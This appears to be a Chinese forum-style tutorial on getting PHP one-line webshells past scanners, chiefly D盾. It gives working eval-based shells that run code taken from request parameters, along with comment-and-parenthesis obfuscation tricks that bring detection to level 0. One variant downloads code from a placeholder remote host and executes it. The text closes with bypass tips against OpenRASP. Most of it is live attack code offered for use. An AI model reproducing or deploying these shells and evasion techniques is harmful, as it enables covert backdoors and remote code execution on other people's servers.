part1
首先我們知道,eval能執(zhí)行php代碼,最常見的php一句話也是用eval關鍵字的。
<?php @eval($_GET["code"])?>
Part2
在論壇學習的時候,有一個現(xiàn)象,如果有人分享免殺一句話,里面用了 eval 這個關鍵字,很多人就會如圖。
Part3
很多表哥都這樣說,主要還是因為eval這個函數(shù),在人們心中是個危險函數(shù),基本W(wǎng)AF看見秒殺那種,可事實真的是這樣嘛??!
Part4
我們先寫一個必被秒殺的一句話
<?php
$a= $_REQUEST[1];
eval($a);
?>
D盾 4級
將變量$a的值引用給$b,所以在這里$a和$b是相等的。
<?php
@$a = $_REQUEST[1];
eval($b=&$a);
?>
D盾 1級
以前是可以0級的,今天D盾更新了嘎嘎。
Part5
利用php注釋/**/ 與括號()
首先我先來看看下面這個一句話
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval($a);
?>
D盾 1級
那么如何做到0級呢,我們可以利用() /**/
<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},'1');
eval(/**/($a));
?>
D盾并沒有掃描出來
關于() /**/早就有大佬寫文章時提出了,如何有效利用呢,一般如果你使用回調函數(shù)寫的一句話,時間久了被waf殺,你可以嘗試用這種方法,說不定可以讓你的一句話起死回生。
Part5
舉個例子嘿
這個馬子是很久以前的,早就加入特征庫。
<?php $a=fopen('http://xxxx/xx.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print(eval(($c=$b)));fclose($a);
D盾 5級
利用() //來混淆** 這也算是D盾的一種bug。
<?php $a=/**/fopen('http://www.xxx.com/s9mf.txt','r');$b='';while(false!=($c=fread($a,8080))){$b.=$c;}print/**/(/**/eval(/**/($c=$b)/**/)/**/);fclose($a);?>
D盾 0級
Part6
雜談
各種webshell掃描軟件都有不同的優(yōu)缺點,D盾的話各種能力比較綜合,也在不斷更新,特征庫也比較全,有個有趣的就是D盾掃描一個只有幾十字節(jié)的一句話報1,2級,只要把這個一句話多加字符串加大體積就變成0級。還有OpenRASP WEBDIR+檢測引擎這個真的滿厲害的,各種回調基本能殺,但是就算是正常文件體積大點都被查出后門,有點誤報,繞過的話,不使用回調來寫一句話更容易過,用一些字符串操作符。